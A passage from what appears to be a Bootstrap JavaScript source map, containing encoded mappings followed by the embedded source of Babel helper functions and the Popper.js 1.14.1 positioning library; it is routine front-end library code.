IACiB,QAAjC4B,EAAQE,aAAa,SACvBF,EAAQuF,aAAa,iBAAiB,GAGxCxG,GAAK2B,OAAOV,GACZlC,GAAEkC,GAAS8J,SAAS1L,IAEhB4B,EAAQoO,YACRtQ,GAAEkC,EAAQoO,YAAYvK,SAASzF,IAA0B,CAC3D,IAAM2vB,EAAkBjwB,GAAEkC,GAAS0D,QAAQnF,IAAmB,GAC1DwvB,GACFjwB,GAAEiwB,GAAiB5tB,KAAK5B,IAA0BuL,SAAS1L,IAG7D4B,EAAQuF,aAAa,iBAAiB,GAGpCwT,GACFA,KAtMYyI,EA4MTvd,iBA5MS,SA4MQ9C,GACtB,OAAO/B,KAAK8E,KAAK,WACf,IAAM8I,EAAQlP,GAAEsB,MACZgF,EAAO4I,EAAM5I,KAAKpG,IAOtB,GALKoG,IACHA,EAAO,IAAIod,EAAIpiB,MACf4N,EAAM5I,KAAKpG,GAAUoG,IAGD,iBAAXjD,EAAqB,CAC9B,GAA4B,oBAAjBiD,EAAKjD,GACd,MAAM,IAAIqJ,UAAJ,oBAAkCrJ,EAAlC,KAERiD,EAAKjD,SA1NKvE,EAAA4kB,EAAA,OAAA7kB,IAAA,UAAA6H,IAAA,WAsDd,MA9CuB,YARTgd,EAAA,GAsOlB1jB,GAAE+B,UACC4E,GAAGtG,GAAM2E,eAAgBvE,GAAsB,SAAU4D,GACxDA,EAAMoC,iBACNid,GAAIvd,iBAAiB1C,KAAKzD,GAAEsB,MAAO,UASvCtB,GAAEmE,GAAF,IAAauf,GAAIvd,iBACjBnG,GAAEmE,GAAF,IAAWpF,YAAc2kB,GACzB1jB,GAAEmE,GAAF,IAAWyC,WAAa,WAEtB,OADA5G,GAAEmE,GAAF,IAAa/D,GACNsjB,GAAIvd,kBAGNud,KC/OT,SAAE1jB,GACA,GAAiB,oBAANA,EACT,MAAM,IAAI0M,UAAU,kGAGtB,IAAMuE,EAAUjR,EAAEmE,GAAG2K,OAAOnM,MAAM,KAAK,GAAGA,MAAM,KAOhD,GAAIsO,EAAQ,GALI,GAKYA,EAAQ,GAJnB,GAFA,IAMoCA,EAAQ,IAJ5C,IAI+DA,EAAQ,IAAmBA,EAAQ,GAHlG,GACA,GAEmHA,EAAQ,GAC1I,MAAM,IAAIhN,MAAM,+EAbpB,CAeGjE","sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n if (staticProps) _defineProperties(Constructor, staticProps);\n return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n}\n\nfunction _objectSpread(target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i] != null ? arguments[i] : {};\n var ownKeys = Object.keys(source);\n\n if (typeof Object.getOwnPropertySymbols === 'function') {\n ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n }));\n }\n\n ownKeys.forEach(function (key) {\n _defineProperty(target, key, source[key]);\n });\n }\n\n return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n subClass.prototype = Object.create(superClass.prototype);\n subClass.prototype.constructor = subClass;\n subClass.__proto__ = superClass;\n}","/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.14.1\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\nvar isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';\nvar longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nvar timeoutDuration = 0;\nfor (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n timeoutDuration = 1;\n break;\n }\n}\n\nfunction microtaskDebounce(fn) {\n var called = false;\n return function () {\n if (called) {\n return;\n }\n called = true;\n window.Promise.resolve().then(function () {\n called = false;\n fn();\n });\n };\n}\n\nfunction taskDebounce(fn) {\n var scheduled = false;\n return function () {\n if (!scheduled) {\n scheduled = true;\n setTimeout(function () {\n scheduled = false;\n fn();\n }, timeoutDuration);\n }\n };\n}\n\nvar supportsMicroTasks = isBrowser && window.Promise;\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n var getType = {};\n return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n if (element.nodeType !== 1) {\n return [];\n }\n // NOTE: 1 DOM access here\n var css = getComputedStyle(element, null);\n return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n if (element.nodeName === 'HTML') {\n return element;\n }\n return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n if (!element) {\n return document.body;\n }\n\n switch (element.nodeName) {\n case 'HTML':\n case 'BODY':\n return element.ownerDocument.body;\n case '#document':\n return element.body;\n }\n\n // Firefox want us to check `-x` and `-y` variations as well\n\n var _getStyleComputedProp = getStyleComputedProperty(element),\n overflow = _getStyleComputedProp.overflow,\n overflowX = _getStyleComputedProp.overflowX,\n overflowY = _getStyleComputedProp.overflowY;\n\n if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n return element;\n }\n\n return getScrollParent(getParentNode(element));\n}\n\n/**\n * Tells if you are running Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @argument {number} version to check\n * @returns {Boolean} isIE\n */\nvar cache = {};\n\nvar isIE = function () {\n var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all';\n\n version = version.toString();\n if (cache.hasOwnProperty(version)) {\n return cache[version];\n }\n switch (version) {\n case '11':\n cache[version] = navigator.userAgent.indexOf('Trident') !== -1;\n break;\n case '10':\n cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1;\n break;\n case 'all':\n cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1;\n break;\n }\n\n //Set IE\n cache.all = cache.all || Object.keys(cache).some(function (key) {\n return cache[key];\n });\n return cache[version];\n};\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n if (!element) {\n return document.documentElement;\n }\n\n var noOffsetParent = isIE(10) ? document.body : null;\n\n // NOTE: 1 DOM access here\n var offsetParent = element.offsetParent;\n // Skip hidden elements which don't have an offsetParent\n while (offsetParent === noOffsetParent && element.nextElementSibling) {\n offsetParent = (element = element.nextElementSibling).offsetParent;\n }\n\n var nodeName = offsetParent && offsetParent.nodeName;\n\n if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n return element ? element.ownerDocument.documentElement : document.documentElement;\n }\n\n // .offsetParent will return the closest TD or TABLE in case\n // no offsetParent is present, I hate this job...\n if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n return getOffsetParent(offsetParent);\n }\n\n return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY') {\n return false;\n }\n return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n if (node.parentNode !== null) {\n return getRoot(node.parentNode);\n }\n\n return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n return document.documentElement;\n }\n\n // Here we make sure to give as \"start\" the element that comes first in the DOM\n var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n var start = order ? element1 : element2;\n var end = order ? element2 : element1;\n\n // Get common ancestor container\n var range = document.createRange();\n range.setStart(start, 0);\n range.setEnd(end, 0);\n var commonAncestorContainer = range.commonAncestorContainer;\n\n // Both nodes are inside #document\n\n if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n if (isOffsetContainer(commonAncestorContainer)) {\n return commonAncestorContainer;\n }\n\n return getOffsetParent(commonAncestorContainer);\n }\n\n // one of the nodes is inside shadowDOM, find which one\n var element1root = getRoot(element1);\n if (element1root.host) {\n return findCommonOffsetParent(element1root.host, element2);\n } else {\n return findCommonOffsetParent(element1, getRoot(element2).host);\n }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n var html = element.ownerDocument.documentElement;\n var scrollingElement = element.ownerDocument.scrollingElement || html;\n return scrollingElement[upperSide];\n }\n\n return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n var modifier = subtract ? -1 : 1;\n rect.top += scrollTop * modifier;\n rect.bottom += scrollTop * modifier;\n rect.left += scrollLeft * modifier;\n rect.right += scrollLeft * modifier;\n return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n var sideA = axis === 'x' ? 'Left' : 'Top';\n var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);\n}\n\nfunction getSize(axis, body, html, computedStyle) {\n return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);\n}\n\nfunction getWindowSizes() {\n var body = document.body;\n var html = document.documentElement;\n var computedStyle = isIE(10) && getComputedStyle(html);\n\n return {\n height: getSize('Height', body, html, computedStyle),\n width: getSize('Width', body, html, computedStyle)\n };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n if (!(instance instanceof Constructor)) {\n throw new TypeError(\"Cannot call a class as a function\");\n }\n};\n\nvar createClass = function () {\n function defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n }\n\n return function (Constructor, protoProps, staticProps) {\n if (protoProps) defineProperties(Constructor.prototype, protoProps);\n if (staticProps) defineProperties(Constructor, staticProps);\n return Constructor;\n };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i];\n\n for (var key in source) {\n if (Object.prototype.hasOwnProperty.call(source, key)) {\n target[key] = source[key];\n }\n }\n }\n\n return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n return _extends({}, offsets, {\n right: offsets.left + offsets.width,\n bottom: offsets.top + offsets.height\n });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n var rect = {};\n\n // IE10 10 FIX: Please, don't ask, the element isn't\n // considered in DOM in some circumstances...\n // This isn't reproducible in IE10 compatibility mode of IE11\n try {\n if (isIE(10)) {\n rect = element.getBoundingClientRect();\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n rect.top += scrollTop;\n rect.left += scrollLeft;\n rect.bottom += scrollTop;\n rect.right += scrollLeft;\n } else {\n rect = element.getBoundingClientRect();\n }\n } catch (e) {}\n\n var result = {\n left: rect.left,\n top: rect.top,\n width: rect.right - rect.left,\n height: rect.bottom - rect.top\n };\n\n // subtract scrollbar size from sizes\n var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};\n var width = sizes.width || element.clientWidth || result.right - result.left;\n var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n var horizScrollbar = element.offsetWidth - width;\n var vertScrollbar = element.offsetHeight - height;\n\n // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n // we make this check conditional for performance reasons\n if (horizScrollbar || vertScrollbar) {\n var styles = getStyleComputedProperty(element);\n horizScrollbar -= getBordersSize(styles, 'x');\n vertScrollbar -= getBordersSize(styles, 'y');\n\n result.width -= horizScrollbar;\n result.height -= vertScrollbar;\n }\n\n return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var isIE10 = isIE(10);\n var isHTML = parent.nodeName === 'HTML';\n var childrenRect = getBoundingClientRect(children);\n var parentRect = getBoundingClientRect(parent);\n var scrollParent = getScrollParent(children);\n\n var styles = getStyleComputedProperty(parent);\n var borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n if (fixedPosition && parent.nodeName === 'HTML') {\n parentRect.top = Math.max(parentRect.top, 0);\n parentRect.left = Math.max(parentRect.left, 0);\n }\n var offsets = getClientRect({\n top: childrenRect.top - parentRect.top - borderTopWidth,\n left: childrenRect.left - parentRect.left - borderLeftWidth,\n width: childrenRect.width,\n height: childrenRect.height\n });\n offsets.marginTop = 0;\n offsets.marginLeft = 0;\n\n // Subtract margins of documentElement in case it's being used as parent\n // we do this only on HTML because it's the only element that behaves\n // differently when margins are applied to it. The margins are included in\n // the box of the documentElement, in the other cases not.\n if (!isIE10 && isHTML) {\n var marginTop = parseFloat(styles.marginTop, 10);\n var marginLeft = parseFloat(styles.marginLeft, 10);\n\n offsets.top -= borderTopWidth - marginTop;\n offsets.bottom -= borderTopWidth - marginTop;\n offsets.left -= borderLeftWidth - marginLeft;\n offsets.right -= borderLeftWidth - marginLeft;\n\n // Attach marginTop and marginLeft because in some circumstances we may need them\n offsets.marginTop = marginTop;\n offsets.marginLeft = marginLeft;\n }\n\n if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n offsets = includeScroll(offsets, parent);\n }\n\n return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var html = element.ownerDocument.documentElement;\n var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n var width = Math.max(html.clientWidth, window.innerWidth || 0);\n var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n var scrollTop = !excludeScroll ? getScroll(html) : 0;\n var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n var offset = {\n top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n width: width,\n height: height\n };\n\n return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n var nodeName = element.nodeName;\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n return false;\n }\n if (getStyleComputedProperty(element, 'position') === 'fixed') {\n return true;\n }\n return isFixed(getParentNode(element));\n}\n\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nfunction getFixedPositionOffsetParent(element) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element || !element.parentElement || isIE()) {\n return document.documentElement;\n }\n var el = element.parentElement;\n while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n el = el.parentElement;\n }\n return el || document.documentElement;\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;\n\n // NOTE: 1 DOM access here\n\n var boundaries = { top: 0, left: 0 };\n var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n // Handle viewport case\n if (boundariesElement === 'viewport') {\n boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n } else {\n // Handle other cases based on DOM element used as boundaries\n var boundariesNode = void 0;\n if (boundariesElement === 'scrollParent') {\n boundariesNode = getScrollParent(getParentNode(reference));\n if (boundariesNode.nodeName === 'BODY') {\n boundariesNode = popper.ownerDocument.documentElement;\n }\n } else if (boundariesElement === 'window') {\n boundariesNode = popper.ownerDocument.documentElement;\n } else {\n boundariesNode = boundariesElement;\n }\n\n var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);\n\n // In case of HTML, we need a different computation\n if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n var _getWindowSizes = getWindowSizes(),\n height = _getWindowSizes.height,\n width = _getWindowSizes.width;\n\n boundaries.top += offsets.top - offsets.marginTop;\n boundaries.bottom = height + offsets.top;\n boundaries.left += offsets.left - offsets.marginLeft;\n boundaries.right = width + offsets.left;\n } else {\n // for all the other DOM elements, this one is good\n boundaries = offsets;\n }\n }\n\n // Add paddings\n boundaries.left += padding;\n boundaries.top += padding;\n boundaries.right -= padding;\n boundaries.bottom -= padding;\n\n return boundaries;\n}\n\nfunction getArea(_ref) {\n var width = _ref.width,\n height = _ref.height;\n\n return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n if (placement.indexOf('auto') === -1) {\n return placement;\n }\n\n var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n var rects = {\n top: {\n width: boundaries.width,\n height: refRect.top - boundaries.top\n },\n right: {\n width: boundaries.right - refRect.right,\n height: boundaries.height\n },\n bottom: {\n width: boundaries.width,\n height: boundaries.bottom - refRect.bottom\n },\n left: {\n width: refRect.left - boundaries.left,\n height: boundaries.height\n }\n };\n\n var sortedAreas = Object.keys(rects).map(function (key) {\n return _extends({\n key: key\n }, rects[key], {\n area: getArea(rects[key])\n });\n }).sort(function (a, b) {\n return b.area - a.area;\n });\n\n var filteredAreas = sortedAreas.filter(function (_ref2) {\n var width = _ref2.width,\n height = _ref2.height;\n return width >= popper.clientWidth && height >= popper.clientHeight;\n });\n\n var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n var variation = placement.split('-')[1];\n\n return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;\n\n var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n var styles = getComputedStyle(element);\n var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n var result = {\n width: element.offsetWidth + y,\n height: element.offsetHeight + x\n };\n return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n return placement.replace(/left|right|bottom|top/g, function (matched) {\n return hash[matched];\n });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n placement = placement.split('-')[0];\n\n // Get popper node sizes\n var popperRect = getOuterSizes(popper);\n\n // Add position, width and height to our offsets object\n var popperOffsets = {\n width: popperRect.width,\n height: popperRect.height\n };\n\n // depending by the popper placement we have to compute its offsets slightly differently\n var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n var mainSide = isHoriz ? 'top' : 'left';\n var secondarySide = isHoriz ? 'left' : 'top';\n var measurement = isHoriz ? 'height' : 'width';\n var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n if (placement === secondarySide) {\n popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n } else {\n popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n }\n\n return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n // use native find if supported\n if (Array.prototype.find) {\n return arr.find(check);\n }\n\n // use `filter` to obtain the same behavior of `find`\n return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n // use native findIndex if supported\n if (Array.prototype.findIndex) {\n return arr.findIndex(function (cur) {\n return cur[prop] === value;\n });\n }\n\n // use `find` + `indexOf` if `findIndex` isn't supported\n var match = find(arr, function (obj) {\n return obj[prop] === value;\n });\n return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n modifiersToRun.forEach(function (modifier) {\n if (modifier['function']) {\n // eslint-disable-line dot-notation\n console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n }\n var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n if (modifier.enabled && isFunction(fn)) {\n // Add properties to offsets to make them a complete clientRect object\n // we do this before each modifier to make sure the previous one doesn't\n // mess with these values\n data.offsets.popper = getClientRect(data.offsets.popper);\n data.offsets.reference = getClientRect(data.offsets.reference);\n\n data = fn(data, modifier);\n }\n });\n\n return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n // if popper is destroyed, don't perform any further update\n if (this.state.isDestroyed) {\n return;\n }\n\n var data = {\n instance: this,\n styles: {},\n arrowStyles: {},\n attributes: {},\n flipped: false,\n offsets: {}\n };\n\n // compute reference element offsets\n data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n // store the computed placement inside `originalPlacement`\n data.originalPlacement = data.placement;\n\n data.positionFixed = this.options.positionFixed;\n\n // compute the popper offsets\n data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';\n\n // run the modifiers\n data = runModifiers(this.modifiers, data);\n\n // the first `update` will call `onCreate` callback\n // the other ones will call `onUpdate` callback\n if (!this.state.isCreated) {\n this.state.isCreated = true;\n this.options.onCreate(data);\n } else {\n this.options.onUpdate(data);\n }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n return modifiers.some(function (_ref) {\n var name = _ref.name,\n enabled = _ref.enabled;\n return enabled && name === modifierName;\n });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n for (var i = 0; i < prefixes.length; i++) {\n var prefix = prefixes[i];\n var toCheck = prefix ? '' + prefix + upperProp : property;\n if (typeof document.body.style[toCheck] !== 'undefined') {\n return toCheck;\n }\n }\n return null;\n}\n\n/**\n * Destroy the 